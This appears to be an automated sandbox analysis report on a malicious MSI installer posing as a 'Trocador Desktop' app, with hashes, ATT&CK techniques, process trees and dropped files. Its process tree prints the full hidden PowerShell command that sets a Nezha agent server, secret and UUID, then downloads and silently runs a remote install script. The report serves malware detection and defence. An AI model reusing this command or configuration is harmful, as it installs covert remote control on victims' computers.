7bda0aa187b2b11edec3f160b80d7e59b5fea34921592c7d9fe7efb3875e89c7

Analysis

max time kernel
149s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
25/06/2026, 18:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
_TrocadorDesktop%28V1.1.0%29.msi
Size 252KB
Sample260625-wvb59set7r
SHA256 7bda0aa187b2b11edec3f160b80d7e59b5fea34921592c7d9fe7efb3875e89c7
MD5 cd1b7c26bc3bcd149c64bdce609bf0cb
SHA1 2743b4c784b6a58ade09e60d56ef09183e1051e8
SHA512 f23bc0541d524e8c534890ae98aba8ae7e5237cc2fab25c99f98ef055070f9905b344712d449288bb4108547085a1e09b8fab46add434a0a7a14083668d266e1
SSDEEP 3072:vspAtOCmXwCGjtYNKbYO2gjpcm8rRuqpjCLP2loHUvUiyGxr59qM2a8Qb:ptOCiRQYpgjpjew52ZyGxTqo8o
TLSH
T160446B513AC9C13AD29E063785BADB76263A7D710B30D0CF77907D6C9E316D2AA39342
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence privilege_escalation ransomware

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://fastly.jsdelivr.net/gh/nezhahq/agent/
exe.dropper
https://gcore.jsdelivr.net/gh/nezhahq/agent/

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
10	3900	powershell.exe
12	1900	powershell.exe
14	1900	powershell.exe
16	1900	powershell.exe
19	1900	powershell.exe
43	1900	powershell.exe
49	1900	powershell.exe
65	1900	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2472	powershell.exe
3900	powershell.exe
1900	powershell.exe
3900	powershell.exe

Loads dropped DLL 2 IoCs

pid	Process
208	MsiExec.exe
208	MsiExec.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
5032	ICACLS.EXE
4620	ICACLS.EXE

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
10	raw.githubusercontent.com
9	raw.githubusercontent.com

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe

Drops file in Windows directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Installer\MSICA0F.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\e583d81.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File created	C:\Windows\Installer\SourceHash{A073D20F-62B6-4FD6-9448-91F3B9619723}	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File opened for modification	C:\Windows\Installer\MSIC9FE.tmp	msiexec.exe
File created	C:\Windows\Installer\e583d81.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI3E2D.tmp	msiexec.exe
File opened for modification	C:\Windows\LOGS\DPX\setupact.log	EXPAND.EXE
File opened for modification	C:\Windows\LOGS\DPX\setuperr.log	EXPAND.EXE

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
544	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ICACLS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ICACLS.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXPAND.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 0000000004000000e0d688459d835b340000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff000000002701010000080000e0d688450000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff000000000700010000680900e0d68845000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1ae0d68845000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1de0d68845000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1280	timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
4228	msiexec.exe
4228	msiexec.exe
2472	powershell.exe
2472	powershell.exe
3900	powershell.exe
3900	powershell.exe
1900	powershell.exe
1900	powershell.exe

Suspicious use of AdjustPrivilegeToken 56 IoCs

description	pid	Process
Token: SeShutdownPrivilege	544	msiexec.exe
Token: SeIncreaseQuotaPrivilege	544	msiexec.exe
Token: SeSecurityPrivilege	4228	msiexec.exe
Token: SeCreateTokenPrivilege	544	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	544	msiexec.exe
Token: SeLockMemoryPrivilege	544	msiexec.exe
Token: SeIncreaseQuotaPrivilege	544	msiexec.exe
Token: SeMachineAccountPrivilege	544	msiexec.exe
Token: SeTcbPrivilege	544	msiexec.exe
Token: SeSecurityPrivilege	544	msiexec.exe
Token: SeTakeOwnershipPrivilege	544	msiexec.exe
Token: SeLoadDriverPrivilege	544	msiexec.exe
Token: SeSystemProfilePrivilege	544	msiexec.exe
Token: SeSystemtimePrivilege	544	msiexec.exe
Token: SeProfSingleProcessPrivilege	544	msiexec.exe
Token: SeIncBasePriorityPrivilege	544	msiexec.exe
Token: SeCreatePagefilePrivilege	544	msiexec.exe
Token: SeCreatePermanentPrivilege	544	msiexec.exe
Token: SeBackupPrivilege	544	msiexec.exe
Token: SeRestorePrivilege	544	msiexec.exe
Token: SeShutdownPrivilege	544	msiexec.exe
Token: SeDebugPrivilege	544	msiexec.exe
Token: SeAuditPrivilege	544	msiexec.exe
Token: SeSystemEnvironmentPrivilege	544	msiexec.exe
Token: SeChangeNotifyPrivilege	544	msiexec.exe
Token: SeRemoteShutdownPrivilege	544	msiexec.exe
Token: SeUndockPrivilege	544	msiexec.exe
Token: SeSyncAgentPrivilege	544	msiexec.exe
Token: SeEnableDelegationPrivilege	544	msiexec.exe
Token: SeManageVolumePrivilege	544	msiexec.exe
Token: SeImpersonatePrivilege	544	msiexec.exe
Token: SeCreateGlobalPrivilege	544	msiexec.exe
Token: SeBackupPrivilege	2996	vssvc.exe
Token: SeRestorePrivilege	2996	vssvc.exe
Token: SeAuditPrivilege	2996	vssvc.exe
Token: SeBackupPrivilege	4228	msiexec.exe
Token: SeRestorePrivilege	4228	msiexec.exe
Token: SeRestorePrivilege	4228	msiexec.exe
Token: SeTakeOwnershipPrivilege	4228	msiexec.exe
Token: SeRestorePrivilege	4228	msiexec.exe
Token: SeTakeOwnershipPrivilege	4228	msiexec.exe
Token: SeDebugPrivilege	2472	powershell.exe
Token: SeDebugPrivilege	3900	powershell.exe
Token: SeDebugPrivilege	1900	powershell.exe
Token: SeBackupPrivilege	4180	srtasks.exe
Token: SeRestorePrivilege	4180	srtasks.exe
Token: SeSecurityPrivilege	4180	srtasks.exe
Token: SeTakeOwnershipPrivilege	4180	srtasks.exe
Token: SeBackupPrivilege	4180	srtasks.exe
Token: SeRestorePrivilege	4180	srtasks.exe
Token: SeSecurityPrivilege	4180	srtasks.exe
Token: SeTakeOwnershipPrivilege	4180	srtasks.exe
Token: SeRestorePrivilege	4228	msiexec.exe
Token: SeTakeOwnershipPrivilege	4228	msiexec.exe
Token: SeRestorePrivilege	4228	msiexec.exe
Token: SeTakeOwnershipPrivilege	4228	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
544	msiexec.exe
544	msiexec.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4228 wrote to memory of 4180	4228	msiexec.exe	95
PID 4228 wrote to memory of 208	4228	msiexec.exe	97
PID 208 wrote to memory of 5032	208	MsiExec.exe	98
PID 208 wrote to memory of 2728	208	MsiExec.exe	100
PID 208 wrote to memory of 1128	208	MsiExec.exe	103
PID 1128 wrote to memory of 3184	1128	cmd.exe	105
PID 3184 wrote to memory of 3796	3184	net.exe	106
PID 1128 wrote to memory of 4004	1128	cmd.exe	107
PID 4004 wrote to memory of 4452	4004	net.exe	108
PID 1128 wrote to memory of 1280	1128	cmd.exe	109
PID 1128 wrote to memory of 2832	1128	cmd.exe	110
PID 2832 wrote to memory of 2472	2832	cmd.exe	111
PID 1128 wrote to memory of 3900	1128	cmd.exe	112
PID 3900 wrote to memory of 1900	3900	powershell.exe	114
PID 208 wrote to memory of 4620	208	MsiExec.exe	128

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\_TrocadorDesktop%28V1.1.0%29.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:544

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4228
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4180
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 849E09FE3A1058B2DD4A2C645DED2A52
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:208
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\." /SETINTEGRITYLEVEL (CI)(OI)HIGH
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:5032
- - C:\Windows\SysWOW64\EXPAND.EXE
    "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files
    3⤵
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    PID:2728
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\files\Trocador.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1128
  - - C:\Windows\SysWOW64\net.exe
      net session
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3184
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3796
  - - C:\Windows\SysWOW64\net.exe
      net stop "nezha-agent.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4004
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "nezha-agent.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4452
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 3 /nobreak
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:1280
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -Command "[guid]::NewGuid().ToString()"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2832
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "[guid]::NewGuid().ToString()"
        5⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2472
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$env:NZ_SERVER='almanak.top:8008'; $env:NZ_TLS='false'; $env:NZ_CLIENT_SECRET='8m79v3v2qGOc3Nm66OuSCpJ1kdPTX18T'; $env:NZ_UUID='2c4cd35b-eb15-4541-8d4e-3e565e6f7646'; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Ssl3 -bor [Net.SecurityProtocolType]::Tls -bor [Net.SecurityProtocolType]::Tls11 -bor [Net.SecurityProtocolType]::Tls12; Set-ExecutionPolicy RemoteSigned -Force; Invoke-WebRequest https://raw.githubusercontent.com/nezhahq/scripts/main/agent/install.ps1 -OutFile C:\install.ps1; powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\install.ps1"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3900
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File C:\install.ps1
        5⤵
        Badlisted process makes network request
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1900
- - C:\Windows\SysWOW64\ICACLS.EXE
    "C:\Windows\system32\ICACLS.EXE" "C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\." /SETINTEGRITYLEVEL (CI)(OI)LOW
    3⤵
    - Modifies file permissions
    - System Location Discovery: System Language Discovery
    PID:4620

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:2996

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

File and Directory Permissions Modification

T1222

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 1KB
SHA256 b23ced31b855e5a39c94afa1f9d55b023b8c40d4dc62143e0539c6916c12c9d2
MD5 33b19d75aa77114216dbc23f43b195e3
SHA1 36a6c3975e619e0c5232aa4f5b7dc1fec9525535
SHA512 676fa2fd34878b75e5899197fe6826bb5604541aa468804bc9835bd3acabed2e6759878a8f1358955413818a51456816e90f149133828575a416c2a74fc7d821
TLSH
T19631AF303221B4D84D436F5308286AD563FF4749ABA8AF5C7959231ECD2645BDB221F3
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 53KB
SHA256 e377d830d0a901e4701f3b6aed46bb4d31afcbe05b2c823f9313b435524555a6
MD5 785c9ba4f22a658075b2cd51e732e53d
SHA1 236bd4226277c80f2fa497024bc300db09e091f8
SHA512 1f440fce6f13b94cd18de5d5f4185bf8310fd2db311f4e4aebf0bc572b8862886c416e840e4d2550f2e43662a2c949740808b45a659dd4190a0f78842916f4c6
SSDEEP 1536:L5C+jH0gtAHkyqOdBBNKetflJdLYooV3CNBQkj20KqdGzyhJUpUjMoEua5/eh4ie:NC+jH0gtAHkBOdBBNKetflJdLYooV3CY
TLSH
T1AD334093E9204E71E1A66F3EF15652227D34394690F8113212DC25EFA983D970B1FAFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 19KB
SHA256 c58f187046fa72ef49fa0ae38d2c5feffbfaed284dac9ac9e59c2af8c3ad8de9
MD5 137c2ec001cc50bc67f48dcf1ec3df3a
SHA1 e6e883f947ff5b098c5666f8a14263ff6d175b46
SHA512 dadabf4181adde200826e7e1e74f6318b7e3cea9358e5c089d50e9aa8d98debc82501fdb27578afbfce0199494bb83bc2d3705962b54acaee84d7a76261a9da4
SSDEEP 384:rsf+FhIBQ022IZ7FZLltiKBkco9o5AkgY1QgHKyu4/gOBHMzi/5QdSuyIsnT0nV8:wfbQ7XF7E3Bo5AkgiqSgsMziFTQVui0H
TLSH
T182922A6E600F26C3C49953F8D417074FD8F29ECE43052BD97B499E3B89A866A907C5DC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 12KB
SHA256 e8380ad1ccb9f06f4056fc59a82aa69769c867c3083b40f58c13b7183d7f0a53
MD5 2f963354246579d4d9b37c1be08370a1
SHA1 1d017d88d801508a0e68c332e616698d88b18e1e
SHA512 c5274a7f02a0e05b03555168af4939a783c233d8c88451294d79dbb50f8d16a5fa936fd4fe23e7d0cfa423d0a06f598532ed56b8177881bff0d8e78747476d3e
SSDEEP 384:E+f+49m+ZmCtBBic0A4o9o2TNK6seYh0UeDd3SoZEIxOLd:bfNm4oEto2TNNuHGSPj
TLSH
T12E42B48EB21F26C3C4D12374D119055FE8F0DC8D531D17E9AA6F6F3B4AB8B6E50294A4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

files.cab

Path C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\files.cab
Size 1KB
SHA256 edbf54d51aea9db64a6991fd8cc031621231685591f79fb0ff405c7829aaea29
MD5 31d7618f83a7d4e4403d5b48e66fe626
SHA1 9708cef2854db0399cff3436102d3631d41f5890
SHA512 de82dbdbd8d0a69f18a074ce86f63561df6ae271c7cdd4396c04aea9b1ca556eae0d55fc2715c493635bcc495f42fc32c15d218383dc0988d84a9c59ed3a28b8
TLSH
T17A31620266CD9276C94287F6CCE19294A76FA0A54301C8ED33F5D60CFD052CDCB566C6
MD5 SHA1 SHA512 TLSH

Submit Download

Trocador.bat

Path C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\files\Trocador.bat
Size 1KB
SHA256 ea39463537078c5a13ed205c0811be706ab4f0e97bc715420c2ac784861f0c02
MD5 41b227accd101f38181316c56b85af63
SHA1 5d7d088c87807c5a835cd41b7a81e640b18f9b94
SHA512 ce4706b3d0e272c710d4feabe2411cfc3ca723b203e40549e684ce2f60f03ef5a30e5790cdc48a41628229e176e743619f50263ddc57d09ac8a580889fdb0eaa
TLSH
T17C31624366CD9676890287F6CCF19295A76FA0A54301C9ED33F5D60CFD052CDCB252D6
MD5 SHA1 SHA512 TLSH

Submit Download

msiwrapper.ini

Path C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\msiwrapper.ini
Size 1KB
SHA256 555325775d467dcfed3c086a34e72e8eef3f0a1d303e4e90983b02051716c5ab
MD5 652cd5ce94109081899f89680ce23e97
SHA1 c3c7a4dc790b866cff14c8b9d22995b6a378df96
SHA512 61ed0ff8e5386a0a68df2da30b5e41c58addfe8932450788136dfe8ca6ed8343b4663108109ebfd58c2ad0499917ab01926c2fd9bff5cb657364a8aed91cb8f2
TLSH
T19D31BB286BE81121F3F7DEA1FEF55046EEB674622C10AC0D40C502490D72F59EDA3739
MD5 SHA1 SHA512 TLSH

Submit Download

msiwrapper.ini

Path C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\msiwrapper.ini
Size 610B
SHA256 5f7f98c6969292d1ba690df812ccda1d85855d3da4ac3a5771c5dc8ba4d7a95e
MD5 4cd1ad5a36c2ffa5b17425e555e32eae
SHA1 3ed2c09a9039dd935d63d5cfa7cab9024c5c35f8
SHA512 a9d9991867553f656693ef5c0be2b39506b4ac3b1f91059eae7c9bc8423748c14cf32840ae645a528fd9e2a37b6fdb6365f14fc3a3fe03e9439a9461321eddf8
TLSH
T156F062792EE8123560B39F65D6F55892ED69B46238109C2E1193025A0D53F4BACA372E
MD5 SHA1 SHA512 TLSH

Submit Download

msiwrapper.ini

Path C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\msiwrapper.ini
Size 1KB
SHA256 a397b56a0206bd342ad55cb36bb970373b694af5c6c91e4cc2fd200a24876a11
MD5 e58b306dac9cd0de2408e516a78ba8e8
SHA1 bd589384e34e4ef39c6ed0087d7baf655e6e0dd7
SHA512 043a8f2b35df8d77253439e4bb51638effbd540eb90c98911e1039b1015cb48f754fe29e43619c337a272958e4a318dbd2861bb60a76ab860983344c2598dc90
TLSH
T1C621B7286BFC1125F2F7EEA1EAF554469E76B4632C109C1E00C501490DA2F4AADA3B3D
MD5 SHA1 SHA512 TLSH

Submit Download

msiwrapper.ini

Path C:\Users\Admin\AppData\Local\Temp\MW-253ee23c-c5cf-4eed-a241-7aa802a3f0db\msiwrapper.ini
Size 1KB
SHA256 9b89b67f1395b7706cb6d1f067248ef9d4d9c1dc116edda18cf1bdcea2315c98
MD5 2d7f0d0eeafed1851c5a3e5071e0bbf7
SHA1 3591696d62286d023277c0e744a81c982df2ddc2
SHA512 78d243a7db865e05cfb0e16411286650624029582672ed5d5a429f586e23501fd480af4b25aefbc76b90144cf4fd1a69be298a841dff6db24cd44693f4f74500
TLSH
T1FD2198296BE81121F2F79EA1EEF55497EE66B8232C10AC1D10C202490DB1F49EDA3739
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_igm3dkhg.5s0.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_igm3dkhg.5s0.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

MSI3E2D.tmp

Path C:\Windows\Installer\MSI3E2D.tmp
Size 208KB
SHA256 0630014e81058bc5976b626865a7d6cf33cc9a8dcad5e6e73c266c0bce9f4abe
MD5 5a34fd27b27f03cf41669d3eb244dc1f
SHA1 067e767484d54d8ac4edea2cafdfce3125e7b5a8
SHA512 edd098e1752b7aa2253fdc9951728ae922e5af768da4f05ccfe945d15c6fa0bf9d3218798fc4c03eadc2e5c48ecd30b3f8baeb1257b97061d4e9497d8ae701ed
SSDEEP 3072:ispAtOdmXwCGjtYNKbYO2gjpcm8rRuqpjCLP2loHUvUiyGxr59qM2a8:AtOdiRQYpgjpjew52ZyGxTqo8
TLSH
T194246CA13AC9C13AD2AE153785BA9766367A75751B30D0CFBB900C6C9A307D3ED39312
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

install.ps1

Path C:\install.ps1
Size 3KB
SHA256 8b9e54f5e3a2cd61860d3b91827dc7daf0de93773c132301f6cb8c98482cf6a6
MD5 91073aca401fbd08a0d669a8fcb7e29d
SHA1 b7444a9df8b19f7f0201433d665f714eaead4661
SHA512 f0bfaebaa13026b6cd83e9ac1477bb1a7f5adafaa43a90603729c8cd748bcbe653eada031067b67c8f12d141a11a34c71f117bd157883affaaa670d43572f318
TLSH
T13971513721C44179B35323ED58192698B137803B87499DA5B6BDC1A9F7A10FE82E36A3
MD5 SHA1 SHA512 TLSH

Submit Download

metadata-2

